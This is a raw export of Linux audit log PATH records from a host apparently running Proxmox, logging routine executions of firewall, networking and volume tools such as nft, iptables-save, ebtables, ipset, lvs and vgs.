{"@timestamp":1781964574880,"@rawstring":"node=pve type=PATH msg=audit(1781964574.880:61588): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964574880,"@rawstring":"node=pve type=PATH msg=audit(1781964574.880:61588): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964574880,"@rawstring":"node=pve type=PATH msg=audit(1781964574.880:61587): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964574880,"@rawstring":"node=pve type=PATH msg=audit(1781964574.880:61586): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964574607,"@rawstring":"node=pve type=PATH msg=audit(1781964574.607:61585): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964574607,"@rawstring":"node=pve type=PATH msg=audit(1781964574.607:61585): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964574581,"@rawstring":"node=pve type=PATH msg=audit(1781964574.581:61584): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964574581,"@rawstring":"node=pve type=PATH msg=audit(1781964574.581:61584): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964569874,"@rawstring":"node=pve type=PATH msg=audit(1781964569.874:61583): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964569874,"@rawstring":"node=pve type=PATH msg=audit(1781964569.874:61583): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964569874,"@rawstring":"node=pve type=PATH msg=audit(1781964569.874:61582): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964569874,"@rawstring":"node=pve type=PATH msg=audit(1781964569.874:61581): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964569866,"@rawstring":"node=pve type=PATH msg=audit(1781964569.866:61580): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964569866,"@rawstring":"node=pve type=PATH msg=audit(1781964569.866:61580): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964569866,"@rawstring":"node=pve type=PATH msg=audit(1781964569.866:61579): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964569866,"@rawstring":"node=pve type=PATH msg=audit(1781964569.866:61578): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565834,"@rawstring":"node=pve type=PATH msg=audit(1781964565.834:61577): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565834,"@rawstring":"node=pve type=PATH msg=audit(1781964565.834:61577): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565831,"@rawstring":"node=pve type=PATH msg=audit(1781964565.831:61576): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565831,"@rawstring":"node=pve type=PATH msg=audit(1781964565.831:61576): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565829,"@rawstring":"node=pve type=PATH msg=audit(1781964565.829:61575): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565829,"@rawstring":"node=pve type=PATH msg=audit(1781964565.829:61575): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565829,"@rawstring":"node=pve type=PATH msg=audit(1781964565.829:61574): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565826,"@rawstring":"node=pve type=PATH msg=audit(1781964565.826:61573): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565826,"@rawstring":"node=pve type=PATH msg=audit(1781964565.826:61573): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565826,"@rawstring":"node=pve type=PATH msg=audit(1781964565.826:61573): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565819,"@rawstring":"node=pve type=PATH msg=audit(1781964565.819:61572): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565819,"@rawstring":"node=pve type=PATH msg=audit(1781964565.819:61572): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565814,"@rawstring":"node=pve type=PATH msg=audit(1781964565.814:61571): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565814,"@rawstring":"node=pve type=PATH msg=audit(1781964565.814:61571): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565807,"@rawstring":"node=pve type=PATH msg=audit(1781964565.807:61570): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565807,"@rawstring":"node=pve type=PATH msg=audit(1781964565.807:61570): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565801,"@rawstring":"node=pve type=PATH msg=audit(1781964565.801:61569): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565801,"@rawstring":"node=pve type=PATH msg=audit(1781964565.801:61569): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565796,"@rawstring":"node=pve type=PATH msg=audit(1781964565.796:61567): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565796,"@rawstring":"node=pve type=PATH msg=audit(1781964565.796:61567): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565792,"@rawstring":"node=pve type=PATH msg=audit(1781964565.792:61566): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565792,"@rawstring":"node=pve type=PATH msg=audit(1781964565.792:61566): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565786,"@rawstring":"node=pve type=PATH msg=audit(1781964565.786:61565): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565786,"@rawstring":"node=pve type=PATH msg=audit(1781964565.786:61565): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565782,"@rawstring":"node=pve type=PATH msg=audit(1781964565.782:61564): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565782,"@rawstring":"node=pve type=PATH msg=audit(1781964565.782:61564): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565776,"@rawstring":"node=pve type=PATH msg=audit(1781964565.776:61563): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565776,"@rawstring":"node=pve type=PATH msg=audit(1781964565.776:61563): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565772,"@rawstring":"node=pve type=PATH msg=audit(1781964565.772:61562): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565772,"@rawstring":"node=pve type=PATH msg=audit(1781964565.772:61562): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565766,"@rawstring":"node=pve type=PATH msg=audit(1781964565.766:61561): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565766,"@rawstring":"node=pve type=PATH msg=audit(1781964565.766:61561): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565759,"@rawstring":"node=pve type=PATH msg=audit(1781964565.759:61560): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565759,"@rawstring":"node=pve type=PATH msg=audit(1781964565.759:61560): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565755,"@rawstring":"node=pve type=PATH msg=audit(1781964565.755:61559): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565755,"@rawstring":"node=pve type=PATH msg=audit(1781964565.755:61559): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565752,"@rawstring":"node=pve type=PATH msg=audit(1781964565.752:61558): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565752,"@rawstring":"node=pve type=PATH msg=audit(1781964565.752:61558): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565751,"@rawstring":"node=pve type=PATH msg=audit(1781964565.751:61557): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565751,"@rawstring":"node=pve type=PATH msg=audit(1781964565.751:61557): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565751,"@rawstring":"node=pve type=PATH msg=audit(1781964565.751:61556): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565747,"@rawstring":"node=pve type=PATH msg=audit(1781964565.747:61555): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565747,"@rawstring":"node=pve type=PATH msg=audit(1781964565.747:61555): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565747,"@rawstring":"node=pve type=PATH msg=audit(1781964565.747:61555): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565741,"@rawstring":"node=pve type=PATH msg=audit(1781964565.741:61554): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565741,"@rawstring":"node=pve type=PATH msg=audit(1781964565.741:61554): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565735,"@rawstring":"node=pve type=PATH msg=audit(1781964565.735:61553): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565735,"@rawstring":"node=pve type=PATH msg=audit(1781964565.735:61553): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565730,"@rawstring":"node=pve type=PATH msg=audit(1781964565.730:61552): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565730,"@rawstring":"node=pve type=PATH msg=audit(1781964565.730:61552): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565724,"@rawstring":"node=pve type=PATH msg=audit(1781964565.724:61551): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565724,"@rawstring":"node=pve type=PATH msg=audit(1781964565.724:61551): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565717,"@rawstring":"node=pve type=PATH msg=audit(1781964565.717:61550): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565717,"@rawstring":"node=pve type=PATH msg=audit(1781964565.717:61550): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964564861,"@rawstring":"node=pve type=PATH msg=audit(1781964564.861:61549): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964564861,"@rawstring":"node=pve type=PATH msg=audit(1781964564.861:61549): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964564861,"@rawstring":"node=pve type=PATH msg=audit(1781964564.861:61548): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964564861,"@rawstring":"node=pve type=PATH msg=audit(1781964564.861:61547): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964564854,"@rawstring":"node=pve type=PATH msg=audit(1781964564.854:61546): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964564854,"@rawstring":"node=pve type=PATH msg=audit(1781964564.854:61546): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964564854,"@rawstring":"node=pve type=PATH msg=audit(1781964564.854:61545): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964564854,"@rawstring":"node=pve type=PATH msg=audit(1781964564.854:61544): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964564521,"@rawstring":"node=pve type=PATH msg=audit(1781964564.521:61543): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964564521,"@rawstring":"node=pve type=PATH msg=audit(1781964564.521:61543): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964564495,"@rawstring":"node=pve type=PATH msg=audit(1781964564.495:61542): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964564495,"@rawstring":"node=pve type=PATH msg=audit(1781964564.495:61542): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964559842,"@rawstring":"node=pve type=PATH msg=audit(1781964559.842:61541): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964559842,"@rawstring":"node=pve type=PATH msg=audit(1781964559.842:61541): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964559842,"@rawstring":"node=pve type=PATH msg=audit(1781964559.842:61540): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964559842,"@rawstring":"node=pve type=PATH msg=audit(1781964559.842:61539): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964559833,"@rawstring":"node=pve type=PATH msg=audit(1781964559.833:61538): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964559833,"@rawstring":"node=pve type=PATH msg=audit(1781964559.833:61538): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964559832,"@rawstring":"node=pve type=PATH msg=audit(1781964559.832:61537): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964559832,"@rawstring":"node=pve type=PATH msg=audit(1781964559.832:61536): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555705,"@rawstring":"node=pve type=PATH msg=audit(1781964555.705:61535): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555705,"@rawstring":"node=pve type=PATH msg=audit(1781964555.705:61535): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555701,"@rawstring":"node=pve type=PATH msg=audit(1781964555.701:61534): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555701,"@rawstring":"node=pve type=PATH msg=audit(1781964555.701:61534): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555700,"@rawstring":"node=pve type=PATH msg=audit(1781964555.700:61533): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555700,"@rawstring":"node=pve type=PATH msg=audit(1781964555.700:61533): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 